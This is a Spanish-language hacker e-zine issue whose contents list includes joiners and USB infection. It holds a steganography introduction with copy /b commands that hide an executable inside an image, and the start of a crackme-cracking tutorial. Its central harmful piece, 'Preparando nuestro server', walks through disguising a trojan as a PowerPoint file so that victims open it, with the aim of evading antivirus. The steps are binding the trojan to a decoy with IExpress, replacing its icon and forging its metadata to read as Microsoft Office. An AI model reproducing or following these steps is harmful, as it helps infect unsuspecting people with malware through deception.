Está en la página 1de 92

A-PDF Merger DEMO : Purchase from www.A-PDF.

com to remove the watermark


NDICE
1| Portada
2 | ndice
3 | Introduccion a la Esteganografia
9 | Preparando nuestro server
15| Crackeo basico de programas en VB6
22| Busqueda Secuencial
24|Creando un joiner
29| Crear un buscador de archivos en VB
31| Introduccion a C 3Parte
36| Introduccin al Batch 3a Parte
41| Tcnicas de programacin de Scripts
46| Infectar unidades USB
49| La indexacin y Tu Dominio
51| Crea Tu propio windows desatendido
54| Pendrive USB de Arranque en Linux
57| Bling Text Tutorial
60| Diseo de interfaces 1
72| Marco Simple Style
74| Retoque Fotografico
80| Userbars con PhotoShop
81| Norton Ghost
84| Razones para usar TuneUp 2008
90| Centinel USB Protector
91| Microcontroladores


La mejor edicin de la CUH e-zine, la ms completa y la ms trabajada, enhorabuena a todos
los miembros que han aportados su granito de arena a este gran proyecto que naci con RuB, y
que se ha extendido hasta hoy con el mximo trabajo de Aleks que se ha encargado de
organizar todo.
No tengo palabras para describir esta edicin con una informacin de primera, ms quisieran
muchas comunidades poder hacer esta e-zine
Yo me despido por ahora del proyecto de la e-zine que no s si continuar, espero que s pero
ser con otras personas, lo que espero es que aleks contine ya que hace un grandsimo trabajo
y lo hace muy bien. Gracias por todo aleks en nombre de todos y gracias tambin a todos los
usuarios que han colaborado en esto y lo han hecho posible.
Muchas gracias por seguir estas series de ediciones.
Ha sido un honor pertenecer a esto, un gran abrazo
RuB
Introduccion a la Esteganografia CUH e-zine 4 edicin





La esteganografa actualmente es conocida por la
sociedad y en la seguridad de las Tecnologas de la
Informacin en general, debido a muchos rumores
(falsos o no), que corrieron despus de los atentados
del 11 de septiembre sobre la ciudad de nueva york, se
deca que los terroristas usaban esta tcnica de
ocultacin de datos para comunicarse internamente y
as planear supuestos futuros atentados, debido a ello
se llevo una campaa de investigacin en toda
Norteamrica y en el mundo en general para
comprobar la veracidad de lo que se deca, se crearon
programas y aplicaciones capaces de hacer anlisis
sobre muchos tipos de archivos y que hacen el proceso
muy veloz (a pesar de que el proceso de anlisis se
hace bit a bit), teniendo en cuenta la cantidad de
imgenes que circulan en internet es tan voluminosa es
una larga, tediosa y ardua labor, y aunque muchos
cientficos han aunado fuerzas en ello, al parecer no se
han obtenido muy buenos resultados, a pesar de que
una gran cantidad de personas se han visto
involucradas en ello y se han dedicado miles de horas,
lo que su queda muy claro es que pocas luces se han
visto y se vern sobre el asunto. Lo cierto es que esta
tcnica si existe y en la actualidad hay muchas
tcnicas y herramientas tanto de anlisis, como de
ocultacin de los datos dentro de imgenes y sobre
otro tipo de archivos digitales o computacionales. La
esteganografa ha sido un tpico al cual no se le ha
dedicado el trato que mereciera, por mucha gente del
campo de la seguridad de las Tecnologas de la
Informacin, la mayora de las personas no la ven como
un potencial ataque, pero es debido a la ignorancia que
la gente tiene sobre el asunto.
As empieza ese artculo que antes de intentar ser algo
avanzado sobre las tcnicas estaganogrficas y de
estegoanlisis, solo es una ilustracin y una
introduccin a este tipo de tcnicas de ocultacin y
deteccin de datos incrustados dentro de otros datos

Esteganografa

Palabra que aunque suena muy cool y moderna es muy
antigua y proviene del griego, su sentido etimolgico
es: "steganos" (secreto) y "grafa" (escrito) escritura
secreta, arte o ciencia de ocultar mensajes dentro de
otros mensajes sin que el mensaje contenedor
(cubierta o estegomedio) se vea afectado y lo mas
importante: que su presencia no sea evidente, ni
detectada. Johannes Trithemius, escribi el primer libro
impreso de criptologa (Al final del articulo hay una
referencia). l invent una cifra esteganogrfica en la
cual cada letra era representada como una palabra
obtenida de una sucesin de columnas. Al final se ve
una nota sobre este oscuro personaje

Esta tcnica para ocultar mensajes y datos, es muy
antigua y han sido mltiples las formas de hacerlo: en
la antigua Grecia se escriban los mensajes en tablas
de madera luego eran cubiertas de cera para que
simulara no haber tenido uso alguno, Herodoto cuenta
que era muy comn el uso de tatuajes en el cuero
cabelludo de los esclavos que eran usados como
mensajes vivientes, de forma que cuando el cabello
creca se ocultaba el mensaje, tambin se usaron tintas
invisibles en las partes en vacas de los mensajes,
modernamente se usaron los microfilms, los cuales
eran tan pequeos que podan simular ser un punto de
un mensaje en un papel, en fin han sido variadas las
tcnicas de la ocultacin de los mensajes, todo ello
debido a que los mensajeros eran interceptados y
descubiertos, se puede decir que su uso ha sido
mayormente blico. Hoy en da se usa esta tcnica en
la informtica, y se hace incrustando el mensaje dentro
de archivos digitales, la tcnica vara segn el tipo de
archivo que sea utilizado como medio, conocido como
esteganomedio, los archivos son los de tipo multimedia
como son imgenes, videos y archivos de msica,
debido a su volumen y su estructura interna.

No hay que confundir la esteganografa con criptografa
y aunque su objetivo es similar, ya que ambas tratan
de proteger informacin sensible, en la criptografa no
se trata de ocultar del mensaje sino de hacerlo ilegible
para quien no est al tanto de la clave. La
esteganografa pretende ser lo que la criptografa no
es, la cual trata de evitar la deteccin del mensaje,
entonces si contamos con un buen algoritmo
aseguramos que nadie pueda detectar la informacin
que se pretende ocultar, otra cosa importante, es que
debemos contar siempre con el espacio adecuado para
hacerlo en el estegomedio, ya que si el mensaje es
mas grande que el contenedor, habr muchas
posibilidades de que el mensaje sea descubierto,
entonces es donde debemos combinar la
esteganografa con la criptografa, y de esta forma
asegurarnos de que, por mas de que el mensaje oculto
haya sido detectado, al estar cifrado pueda llegar a ser
muy difcil descifrar el mensaje oculto.

La esteganografa puede utilizarse en solitario para
simplemente disimular los datos, o combinarse con la
criptografa, de tal manera que los datos que se
oculten, estarn encriptados, por lo que si son
descubiertos, al menos no se acceder fcilmente a la
informacin protegida. Actualmente existen
herramientas estaganogrficas gratuitas disponibles
para distintas plataformas tales como: F5 que fue
desarrollada por Andreas Westfield (toda una eminencia
en el ramo) la cual asigna una imagen por su ruta y
despus determina el camino a seguir de la informacin
que se va a ocultar, MP3Stego es una herramienta
Introduccion a la Esteganografia CUH e-zine 4 edicin

que esconde datos en archivos .mp3 su tcnica consiste
en juntar un archivo de texto con uno .wav y
transformarlo en un archivo .mp3, Steganos permite
encriptar y esconder archivos, el usuario selecciona un
archivo o flder a esconder, y despus el lugar donde
desea integrarlo.
Imaginemos el caso de una persona que ha detectado
movimientos fraudulentos o ilcitos en alguna entidad,
bien sea gubernamental o privada, como podra
arriesgarse a contar, o a denunciar esto a travs de
Internet, sin que su intimidad y hasta su propia
seguridad se vea afectada. Es aqu donde se hace
fundamental el conocimiento y manejo de las distintas
tcnicas de ocultamiento de datos y los principales
medios usados para ello. Es por ello que se hace
indispensable conocer la estructura, las caractersticas
y el uso de los diferentes formatos de archivos
multimedia mas usados para esta prctica, a
continuacin veremos las caractersticas de algunos de
los formatos ms usados para las tcnicas
estaganogrficas, pero ser algo muy superficial a
modo de referencia ya que nos centraremos en el
formato bmp, por su sencillez y por la forma de su
estructura.

Formato .JPG
Son las inciales del grupo que desarrollo su algoritmo
(Joint of Photographic Experts Group). Es uno de los
formatos mas usados en la red, y en las tecnologas de
la informacin. Ya que permite comprimir imgenes con
una escasa prdida de calidad y bajo peso, usado
generalmente para almacenar imgenes fotogrficas,
tanto en color como en escala de grises, mientras los
formatos .gif y .png se comportan mejor con imgenes
grficas. El formato JPEG soporta 16,7 millones de
colores (24 bits), es el mejor formato para fotografas
digitalizadas, texturas, transiciones de color o
degradados o cualquier imagen que requiera ms de
256 colores, su algoritmo de compresin elimina
informacin de la imagen, mientras mas compresin,
menor calidad y menor peso del archivo.
Formato .GIF
Son las siglas de Graphics Interchange Format creado
por Compuserve en junio de 1987, un formato de
compresin de imagen limitado a 256 colores, emplea
el algoritmo de compresin LZW (Lempel Ziv Welch)
(consistente en no detectar slo las repeticiones de un
color, sino en detectar las repeticiones de ciertas
secuencias) este algoritmo esta patentado. La forma
ms sencilla de reducir el tamao de un archivo GIF es
disminuir el nmero de colores, es ideal para grficos,
dibujos, iconos o imgenes de muy pocos color o con
grandes reas del mismo color, es bueno casi para todo
tipo de imgenes especialmente las animaciones,
exceptuando las imgenes fotogrficas, tambin
soporta transparencias -la parte transparente se adapta
al color del fondo donde se coloca, se puede almacenar
de forma entrelazada carga cada cuatro lneas lo que
hace que la imagen e visualice mientras se va
cargando. La estructura de todo fichero GIF est
basada en bloques, y contiene informacin sobre la
imagen como tal: instrucciones acerca de cmo
exhibirla, informacin caracterstica de la aplicacin con
que se creo, un marcador que determina el final del
archivo, la paleta de colores, etc. Los ficheros GIF
utilizan el modo de color indexado, pudiendo trabajar
con dos paletas diferentes, una global y otra local, la
paleta global determina los colores de todas las
imgenes almacenadas en el GIF (puede haber varias
en un mismo fichero), mientras que la local determina
especficamente la paleta de cada imagen del GIF (en el
caso de haber una sola imagen, la nica paleta
disponible ser la global).
Fomato .PNG
El formato PNG (Portable Network Graphic) es un
formato de mapa de bits de libre distribucin, vlido
para PC y MAC y LINUX, naci como alternativa a los
formatos GIF y JPG, es de propiedad de la empresa
Unisys Corporation, PNG utiliza un esquema de
compresin sin prdidas para reducir el tamao del
archivo, manteniendo intacta la calidad original de la
imagen. Puede trabajar en modo Escala de Grises (con
un canal alfa), en modo Color Indexado (8 bits, hasta
256 colores, paletas de colores) y en modo RGB (24
bits, 16,8 millones de colores y 48 bits, con 24 bits
para canales alfa), por lo que admite 256 niveles de
transparencia. Las transparencias conseguidas con PNG
son de mayor calidad que las del formato GIF, ya que,
al trabajar con ms colores, genera transparencias sin
bordes pixelados. Tambin permite imgenes
entrelazadas, pero no soporta animaciones.

Formato .BMP

Uno de los estegomedios ms comunes son las
imgenes de BitMaps o archivos Bmp, los cuales son
un formato estndar de imagen de mapa de bits en
sistemas operativos DOS, Windows y vlido para MAC y
PC, se soportan imgenes de 24 bits (millones de
colores), 8 bits (256 colores), puede trabajar en escala
de grises, RGB y CMYK. Los archivos de mapas de bits
se componen de direcciones asociadas a cdigos de
color, uno para cada cuadro en una matriz de pixeles,
soportan compresin RLE sin prdida de calidad, tal
como se esquematizara el tpico colorea la imagen,
donde cada segmento en blanco esta marcado por un
numero que a su vez le pertenece un color, como se
aprecia en la imagen.


Introduccion a la Esteganografia CUH e-zine 4 edicin

Una de sus caractersticas es su excesivo uso de
espacio en disco, aunque posee un buen nivel de
calidad, al ser re-escalados a un tamao mayor, se
pierde calidad, cada pixel puede ocupar 1 o varios
bytes, ello depende de la profundidad de color, pueden
ser transformados en otros formatos, como JPEG, GIF
o PNG. Es de notar que todos archivos digitales siempre
comienzan con una cabecera o header la cual lo
identifica, adems de contener la informacin bsica del
mismo, todos los .bmp empiezan con las letras 'BM' o
su equivalente en hexadecimal (0x42 0x4D), que es
el que lo identifica con el programa con que se
visualizar o editar la imagen, en la cabecera tambin
se incluyen las caractersticas generales de la imagen
como son : tamao, nmero de colores , paleta de
colores (si es requerida), y con cuntos bytes se
representa el color de cada pixel, otra caracterstica
especial de este formato es que comienza a leerse
desde abajo a arriba, o sea, en una imagen en 24 bits
los primeros 3 bytes corresponden al primer pixel
inferior izquierdo. incluye informacin para
posicionarnos en la codificacin de los pixeles de la
imagen. Dependiendo de la resolucin de la imagen, los
pixeles pueden estar codificados de diferentes formas:
1,4,8,16,24,32 Bits X Pixel. Por ejemplo, en una
resolucin tpica, de 24 Bits X Pixel, cada pixel de la
imagen se representa

con 3 Bytes, o sea que se usa un byte para el rojo
(Red) , un byte para el verde (Green) y un byte para el
azul (Blue), modo RGB.

Estructura de la cabecera de un archivo .BMP

Bytes Informacin
0, 1 Tipo de fichero "BM"
2, 3, 4, 5 Tamao del archivo
6, 7 Reservado
8, 9 Reservado
10, 11, 12, 13 Inicio de los datos de la
imagen
14, 15, 16, 17 Tamao de la cabecera del
bitmap
18, 19, 20, 21 Anchura (pxels)
22, 23, 24, 25 Altura (pxels)
26, 27 Nmero de planos
28, 29 Tamao de cada punto
30, 31, 32, 33 Compresin (0=no
comprimido)
34, 35, 36, 37 Tamao de la imagen
38, 39, 40, 41 Resolucin horizontal
42, 43, 44, 45 Resolucin vertical
46, 47, 48, 49 Tamao de la tabla de color

La tcnica EOF consiste en aadir un archivo que
contendr los datos que vamos a ocultar, al final de
otro archivo el cual nos servir de medio o cubierta,
hay muchos formatos de archivo que permiten esta
tcnica sin alterar su correcto funcionamiento, los
formatos mas conocidos son los siguientes: .ppt, .wav,
.mp3, .jpg, .png, exe, .doc , .gif, .bmp, aunque la
tcnica conocida es muy conocida (Envenenar un
archivo) no es una veradera tcnica esteganogrfica
como tal y aunque es un poco sosa, pasare a explicar
algo que se puede hacer desde lnea de comandos o
desde un archivo batch, pero que servir eficazmente
como tcnica de ocultacin casera por asi decirlo, ya
que es difcil que alguien desapercibido sospeche del
mensaje oculto que trae el medio o archivo cubierta,
sin embargo para una herramienta de estegoanlisis
ser algo fcil de detectar, ya que es una de las
primeras partes que se analizan de un archivo el
famoso EOF, y es un tpico o patrn usado por este
tipo de aplicaciones de anlisis forense. Existen
diversas formas para hacer esto y son muy sencillas,
algunas solo requieren un par de lnea directamente
desde el intrprete de comandos, existen un comando
en Windows que no pueden servir para efectuar la
tcnica EOF, con los comandos type y copy /b
acompaado del parmetro /b (Copiar de forma
binaria) se pueden fundir dos archivos o mas, para
llevar a cabo el siguiente ejemplo necesitaremos
cuatro archivos, una imagen .gif, tres archivos de texto
y un ejecutable, cabe decir que solo la cabecera del
primer archivo agregado (esto en caso de que el
archivo no exista - o sea que o crearemos nosotros de
cero-) , pero si lo que vamos a hacer es unir mas
archivos a uno ya existente, ser la cabecera del
archivo en el que ocultaremos nuestros datos la que
define que programa estar asociada al archivo final.
Para el ejemplo nos vamos al disco local C: y creamos
la carpeta temporal Prueba all metemos los archivos
que vamos a fundir para ocultar nuestros datos



El archivo Marca.txt contendr un texto que servir de
marca para poder identificar los archivos (cualquier
marca nos servir en mi caso he usado la cadena de
caracteres <--|||-->), el Archivo texto.txt contendr
el texto a ocultar (en mi caso he usado la siguiente
cadena: Azmodeo:resU-142tiamat364:ssaP, el
archivo mascara es opcional y se usa para aadir
contenido al archivo y hacer mas difcil la forma de
encontrar el los datos que vamos a ocultar (en mi caso
le he puesto la parte del texto de un archivo ejecutable,
el archivo centinel.exe es opcional y lo uso para
demostrar que se pueden meter mltiples archivos
dentro de otro, incluyendo ejecutables, la cuestin es
poder ser capaz de separarlos y hacerlos legibles por
las aplicaciones que los lanzarn, y la clave para ello el
uso de la marca.

Ahora abrimos el cmd.exe y nos ubicamos en c:\prueba
y empezamos escribiendo algo asi:

type 1.jpg > medio.gif
type marca.txt >> medio.gif
type texto.txt >> medio.gif
type marca.txt >> medio.gif
type mascara.txt >> medio.gif
type marca.txt >> medio.gif
type centinel.exe >> medio.gif
Introduccion a la Esteganografia CUH e-zine 4 edicin

type marca.txt >> medio.gif
type mascara.txt >> medio.gif

Tambien podriamos simplemente escribir:

Copy /b 1.jpg + marca.txt + texto.txt + marca.txt +
mascara.txt + marca.txt + centinel.exe + marca.txt +
mascara.txt

Si notan que en la primer sentencia enviamos los datos
de el archivo 1.jpg a 1.gif sin que se dae el archivo
permitindolo editar normalmente con un editor de
imgenes, sin embargo su cabecera es la de un .jpg,
como el archivo original. Entonces tenemos el archivo
final Medio.jpg, que es el que contiene nuestros
distintos datos ocultos, lo lgico seria abrir el archivo
Medio.jpg con el Notepad.exe y buscar las marcas para
poder extraer las distintas partes que conforman
nuestros archivos ocultos, si abriramos un nuevo
documento con el Notepad.exe, y pegramos cada
archivo por separado, pensaramos que podramos
guardar cada archivo con su extensin original y de
esta forma poder abrir normalmente los mismos, es un
craso error; es aqu donde se hace necesario usar un
editor hexadecimal para reutilizar uno a uno nuestros
archivos correctamente, en mi caso usaremos el
HexEditor


Para evitar desastres duplicamos el archivo Medio.jpg y
abrimos la copia, en este caso Medio2.jpg



Empezamos a ubicar la primera marca para extraer el
texto oculto



Las marcas las he resaltado de amarillo y el texto con
rojo, ahora nos posicionamos en el primer carcter de
la marca, en este caso el carcter < y seleccionamos
hacia arriba todo los caracteres, cortamos (CTRL+X) la
seleccin quedando la primer parte del archivo algo asi:



Asi excluimos la imagen jpg que era la que posea la
cabecera del arhivo Medio2.gif, ahora extraemos el
texto que nos atae, en este caso el user y el pass, al
mas puro estilo reto hack, para ello lo hacemos igual,
nos posicionamos en el siguiente carcter de la
segunda marca, seleccionamos el texto hacia arriba



Cortamos de nuevo, esta vez pegamos el texto en
algn editor de texto, ahora extraeremos la mascara,
que solo sirve para camuflar



La marca tambin la extraemos, buscamos la siguiente
marca y extraemos el resto, dejando solo la estructura
del ejecutable, que al final de este ejemplo es el que
nos vale, de igual forma podremos meter mltiples
archivos y si hacemos bien todo podremos extraerlos
todos, por otro lado tambin podramos juntar dos
imgenes u otros archivos, y para poder habilitarlos
uno a uno, solo debemos extraer el archivo por partes,
de esta manera, si extraemos el primer archivo y las
marcas y guardamos el archivo con la extensin que le
corresponde, el archivo seguir conteniendo a los otros
y no se daar.



Como para el ejemplo lo que queramos era extraer el
texto oculto y el ejecutable procedemos a guardarlo
como tal, en mi caso Centinel2.exe

Introduccion a la Esteganografia CUH e-zine 4 edicin



Explicare otro ejemplo esta vez solo con dos imgenes,
la marca y un ejecutable, en este caso 1.jpg, 30f.gif,
centinel.exe para ello escribiremos en una sola lnea lo
siguiente:

copy /b 1.jpg + marca.txt + 30f.gif + marca.txt
centinel.exe medio.gif

Esta vez solo veremos como habilitar la segunda
imagen, extrayendo el primer archivo y la marca no
mas, el ejecutable lo dejaremos oculto en el medio para
despus XD.







Guardamos el archivo como .gif y listo, esto no es nada
del otro mundo, pero puede sirve como tcnica EOF, a
la hora de ocultar nuestros archivos o datos.
Hay algunos que creen que con el comando copy se
puede hacer algo similar, pero la verdad es que este
comando modifica las cabeceras del archivo resultante,
daando las asociaciones del mismo, al fin como
siempre digo: es cuestin de experimentar un poco!

Una de las buenas herramientas que he descubierto es
una que funciona online y se llama Cryptimg aqu les
dejo una referencia de ella:

Cryptimg es una herramienta con la que podemos
guardar un mensaje de texto encriptado dentro de una
imagen. El procedimiento para realizar esto es muy
simple: subimos cualquier imagen y/o fotografa,
ingresamos una contrasea y finalmente escribimos
nuestro mensaje secreto. Despus de realizar los pasos
anteriores, solo debemos enviar la imagen a nuestro
receptor junto con la clave y el deber realizar el
procedimiento inverso para descifrarla. O sea, subir de
nuevo la imagen a Cryptimg, escribir la contrasea y
presionar el botn Descodificar y automticamente se
desencriptar el mensaje.
Tambin existen muchsimas herramientas
desarrolladas en distintos lenguajes que nos permiten
diferentes funciones, pero la descripcin de ellas queda
para otra ocasin, ya que ellas requiere una explicacin
detallada sobre las caractersticas y funciones
esenciales.
Pero la mejor y mas comn de las tcnicas en la
esteganografa, es la tcnica sustitutiva del Bit Menos
Significativo LSB (Least Siginificant Bit), en la cual
se sustituye el bit mas a la derecha del byte (el cual no
tiene mayor relevancia) de un byte especifico, en
contraposicin del Byte Mas Significativo MSB (Most
Significnt Bit)


Bit Mas Significativo de un Byte
BMS


Bit Menos Significativo de un Byte
LBS

Por lo tanto se hace necesario conocer la estructura
interna de cada uno de los archivos multimedia, para
as mismo poder elegir una tcnica esteganogrfica que
sea aplicable y que no dae el archivo ni que le
produzca cambios perceptibles por los seres humanos.
Como dije anteriormente por su sencillez se ha elegido
el formato .BMP como ejemplo para trabajar en este
articulo, otra ventaja del formato es la posibilidad de
utilizar cualquier bit de la codificacin de pixeles de un
archivo para ocultar datos, pero el ruido visual seria
muy obvio para los bits de mayor peso.
La tcnica sustitutiva LSB depende del estegomedio
elegido, por ejemplo en el formato JPEG se sustituirn
los bits de los coeficientes cuantificados o DCTs, en el
formato BMP: se sustituirn los bits de la codificacin
Introduccion a la Esteganografia CUH e-zine 4 edicin

de los pixeles de la imagen, en el formato GIF: se
sustituiran los bits de los ndices que direccionan a la
paleta de colores, solo por nombrar algunos. La tcnica
de sustitucin se basa en la modificacin de los bits
menos significativos, de la codificacin de los pixeles de
una imagen .bmp, se puede aplicar a los pixeles de la
forma que se desee, de forma secuencial, aleatoria,
combinado ambas, etc. Por ejemplo en una imagen de
24 Bits X Pixel 3 Bytes, se podra ocultar informacin
en su octeto de Verde, de esta forma los mtodos
puedes llegar a ser muy variados. Una de las razones
por la que el formato .bmp es un buen estegomedio es
por su peso, lo cual facilita la labor para aplicar esta
tcnica ya que causa muy poco ruido visual ya que solo
se modifican los bytes de la codificacin de los pixeles
y es my difcil que el ojo humano alcance a apreciar
dichos cambios.
Estegoanlisis
La estegoanlisis es la tcnica de detectar, los tcnicas
estaganogrficas aplicadas a una imagen. Saber
identificar correctamente el tipo de formato al que
pertenece un archivo, es el primer paso que debe
tomar el analista para catalogar el archivo
adecuadamente y de esta forma poder aplicar una
eficaz tcnica estegoanaltica que lo lleve a detectar el
programa o la tcnica usada para el ocultamiento del
mensaje o los datos en cuestin. Es cierto tambin que
el objetivo de la estegoanlisis no es descifrar los
datos, eso ya es otro cuento, lo importante es poder
determinar si en una imagen hay algn tipo de
esteganografa, la tcnica usada y el tamao del
mensaje o dato oculto. En la actualidad existen muchos
programas de esteganografa unos gratuitos otros no,
pero la mayora siguen unos patrones y es all donde
entra la labor del analista, el cual debe ser capaz de
identificar dichos patrones (las cuales pueden ser
transformadas en marcas perceptibles por el analista)
que quedan en las imgenes despus de ser sometidas
a esteganografa, bien sea manualmente o por parte de
las aplicaciones especializadas para ello. Son estos
patrones los que deben ser tenidos en cuenta al hacer
un anlisis o bien sea a la hora de crear aplicaciones o
programas de estegoanlisis. Un concepto errneo seria
afirmar que la sustitucin aleatoria no produce cambios
medibles dentro de la estructura del archivo, y se ha
demostrado que al aplicar una tcnica sustitutiva LSB
sobre los pixeles de una imagen, sin importar la forma
en que se escojan los pixeles que se sustituirn,
siempre quedan rastros que pueden llegar a ser
seguidos por los analistas, entre mas grande sea el
mensaje igualmente sern son las huellas dejadas por
la tcnica sustitutiva.
Tcnicas estegoanalticas
Algunas de las tcnicas mas usadas son los llamados
ataques visuales, las actales herramientas de
estegoanlisis poseen funciones que por medio de
filtros especiales muestran visualmente la presencia de
informacin oculta, (dependiendo lgicamente de el
formato de la imagen) los resultados la mayora de las
veces son evidentes a simple vista, al aplicar LSB de
forma secuencial sobre alguna zona de los pixeles de la
imagen y si se somete a un proceso de ataque visual se
observaran fcilmente dichos cambios en la imagen,
otro tipo de tcnicas usadas para el anlisis son los
algoritmos estadsticos, quienes determinan la mayora
de las veces, el tipo de herramienta usada para ocultar
la informacin dentro de una imagen o archivo, en
algunos caso se debe utilizar el estegomedio en mas de
un 97% tal como ocurre en el caso del Algoritmo
ChiSquare, tambin cuando los datos son almacenados
de forma aleatoria se recurre al algoritmo llamado RS,
estos ataques se pueden aplicar a muchos de los
distintos formatos grficos mas conocidos y con
diferentes codificaciones especiales para imgenes tipo
RGB, hay muchos algoritmos mas, y la forma en que
funcionan son todo un tpico, por eso amigos se los
dejo para otra ocasin
La eleccin del estegomedio es algo indispensable y
debe ser nica para cada transferencia. Lo
recomendable es usar imgenes de alta resolucin tal
como imgenes escaneadas o tomadas con cmaras
digitales, tambin las escalas de grises son ideales,
entre mas pequea sea la informacin a ocultar menor
ser el riesgo de deteccin por parte de analistas o
herramientas de estegoanlisis, otra forma es usar
varias cubiertas para ocultar informacin de gran
envergadura.
Johannes von Heydenberg aus Trittenheim/Mosel, o
Johannes Trithemius, escribi el primer libro impreso
de criptologa. l invent una cifra esteganogrfica en
la cual cada letra era representada como una palabra
obtenida de una sucesin de columnas. La serie de
palabras resultantes sera una oracin legtima.
Tambin describi cifras polialfabticas en la forma de
tablas de sustitucin rectangulares que, en la poca, ya
tenan se hecho patrn. Introdujo la nocin del cambio
de alfabetos cada letra. Johannes Trithemius escribi,
sin embargo no public, su Steganographia, la cual
circul como manuscrito por ms de cien aos, siendo
copiada por muchas personas que deseaban extraer los
secretos que se pensaba que contena.
Espero que les haya gustado el articulo, y es solo una
introduccin sobre este rollo de la ocultacin de datos
dentro de otros o esteganografa, en la prxima parte
de este articulo tratar sobre la forma de ocultar
datos con programas hechos para ello, la forma de
detectar dichos datos usando aplicaciones de
esteganoanalisis y la forma terica o esquemtica para
poder hacer aplicaciones de esteganografa o de
estegoanlisis, bien sea para ocultar o detectar datos
ocultos dentro de otros datos, sobra decir que este
articulo es libre, y que se puede: editar, copiar o
manipular el contenido sin restricciones.
By Aleks
Preparando nuestro server CUH e-zine 4 edicin





Una de las preguntas mas comunes al momento de
crear y encriptar nuestro server, es como podemos
engaar a nuestra victima para que no sospeche al
momento de abrir nuestro server.
Antes que todo, debemos tener en cuenta que el arte
que envuelve a la ingeniera social es muy importante
al momento de tratar de conseguir nuestro cometido,
pero no entrar en detalle ya que este tema se ha
tocado en anteriores e-zines.
Lo que haremos es maquillar nuestro server para que
no sea tan sospechoso y para ello necesitaremos de las
siguientes herramientas:

Server encriptado
Presentacin Power Point (.pps)
PowerPoint Slide Show Convert
Iexpress
MiTeC IconFactory
Resoucer Hacker
eXeScope
Utilic una presentacin de Power Point como archivo
seuelo ya que a todo el mundo le encanta ver este
tipo de archivos, por esta razn es recomendable no
usar archivos de imgenes debido a que en el
explorador de Windows, el msn y correos electrnicos,
pueden pre visualizar imgenes, generando de esta
manera sospechas, debido a que el archivo que
estamos enviando es de extensin .exe

Bueno, lo primero que vamos a hacer es convertir
nuestro archivo lo_mejor.pps en lo_mejor.exe, con
el fin de poder utilizar el Iexpress como binder.
Como todos saben, el Iexpress es una herramienta
propia de Windows que podemos utilizar para unir o
juntar dos archivos de extensiones .exe en uno solo
tambin de extensin .exe, convirtindose de esta
manera en el blinder perfecto, indetectable a los anti
virus.
Para ello utilizamos un programa llamado
PowerPoint Slide Show Converter, aunque existen
muchos mas que nos sirve para realizar este tipo de
conversin.
Abrimos Power Point Slide Show Converter:






Luego veremos el men principal



Seleccionamos Simple Mode y veremos lo siguiente



Lo siguiente que haremos es presionar el botn select
del recuadro Source Microsoft Power Point File
donde elegiremos nuestro archivo lo_mejor.pps



Ahora solo debemos presionar el botn Make Slide
Show para que realice la conversin.
Una vez finalizada la conversin presionamos el botn
aceptar.
Preparando nuestro server CUH e-zine 4 edicin




Al final veras el resultado de tu presentacin de Power
Point, en un archivo aplicativo.



Bueno, lo siguiente que haremos es bindear el server
encriptado (troyano) con lo_mejor.exe (seuelo).



No entro en detalle sobre la configuracin ya que la info
la puedes encontrar en foro.el-hacker.com. El
resultado del bindeo es un archivo aplicativo o
ejecutable como el siguiente:



Lo siguiente que haremos es buscar el Icono de power
point, el cual podremos extraer con un programa muy
bueno llamado MiTeC IconFactory

Lo siguiente que haremos es abrir el programa y
seleccionar open desde File ubicado en el men
principal.



A continuacin ubicaremos la carpeta de Microsoft
office para ubicar el icono de Power Point



Le damos doble clic a POWERPNT.EXE y veremos todos
los iconos que maneja dicho programa. En este punto
debemos seleccionar el icono que deseamos y el de
mayor tamao.


Preparando nuestro server CUH e-zine 4 edicin



Lo que haremos ahora es guardar el icono para ser
utilizado mas adelante.



El resultado es un archivo con extensin .ico



El siguiente paso es cambiar el icono de nuestro server,
ya que el que tiene actualmente corresponde al
asignado por el IExpress. Para poder hacer el cambio
utilizamos programa conocidos por todos que es el
Resoucer Hacker.



Lo que haremos es seleccionar el archivo al que
queremos cambiarle el icono, siendo en nuestro caso el
server que ya bindeamos y que denominamos como
Archivo_IExpress.exe.



Una ves seleccionado el archivo procedemos eliminar la
carpeta AVI como lo muestra en la figura.



El siguiente paso consiste en cambiar el icono, asi que
debes seleccionar la opcin Replace Resource



Ahora lo que debemos hacer es cambiar el icono actual
por el icono de Power Point, para ello oprimimos el
botn Open File with new Icon.. y ubicamos el
archivo POWERPNT_4.ico

Preparando nuestro server CUH e-zine 4 edicin




Despus solo debemos oprimir Replace



Como vern los iconos ya fueron cambiados y solo
queda guardar los cambio con la opcin save as y
elegimos guardar sobre el ya existente es decir en
Archivo_IExpress.exe.



Como se darn cuenta, saldr un mensaje
preguntando si desean remplazar el archivo, al cual
debern darle yes. Al final y despus de refrescar la
ventana donde se encuentra nuestro server, veremos
que su icono a cambiado.

Si detallan el archivo podrn ver datos como Win32
Cabnet Selft-Extractor y Microsoft Corporation,



informacin que levantara sospechas. Para dar solucin
a este inconveniente usaremos un programa llamado
eXeScope



Lo que debemos hacer es abrir nuestro server con este
programa.

Preparando nuestro server CUH e-zine 4 edicin




Ahora lo que haremos es modificar algunos datos para
mejorar su aspecto, FileDescription y
CompanyName. Lo primero es dar un clic al botn
derecho sobre FileDescription, seleccionamos editar
y escribimos lo que queramos, por ejemplo Microsoft
Office, lo mismo hacemos con CompanyName, al cual
lo cambiaremos por Power Point.



Despus de modificarlo veremos algo como



Lo siguiente que haremos es dar en la X para cerrar el
programa, pero antes de que se cierra nos pide
confirmar el cambio del tamao del archivo al cual le
daremos aceptar



Al final obtendremos un archivo mas creble al que
debemos cambiarle el nombre por el original de la
presentacin de Power Point, lo mejor.



Aclaro que lo mas importante es la Ingeniera Social
que usemos con nuestras victimas, aunque un poco de
ayuda no est mal.
Saludos
Angelus_7722
Crackeo bsico de programas en VB6 CUH e-zine 4 edicin






Bueno, en este tuto veremos algo sobre como
desempacar apps protegidas con UPX 1.25,
adems de tratar con un crackme en VB6 y ver el
funcionamiento de algunos programas.

Eleg un crackme de N1l0. Para crackearlo, yo
usare estos programas:
-Procdump v1.6.2
-OllyDbg v1.10
-PEiD
-UPX GUI *opcional
-PUPE *opcional
Adems necesitaremos:
-Un cerebro con IQ de ms de 80
-lpiz/pluma (o algn artefacto para
escribir) y papel (o algn lugar donde escribir)
-ser hincha del Real (esto es muy
importante)

Adems de los programas, supondr que poseen
conocimientos (por lo menos bsicos) sobre
ingeniera inversa, sobre ensamblador
(obviamente) y que han trabajado con el OllyDbg,
por esta razn no entrare en explicaciones e ir al
meollo del asunto.

As luce el crackme. Podemos suponer a simple
vista que fue hecho con VB6, por el icono,
adems el titulo del tuto lo dice... xD pero
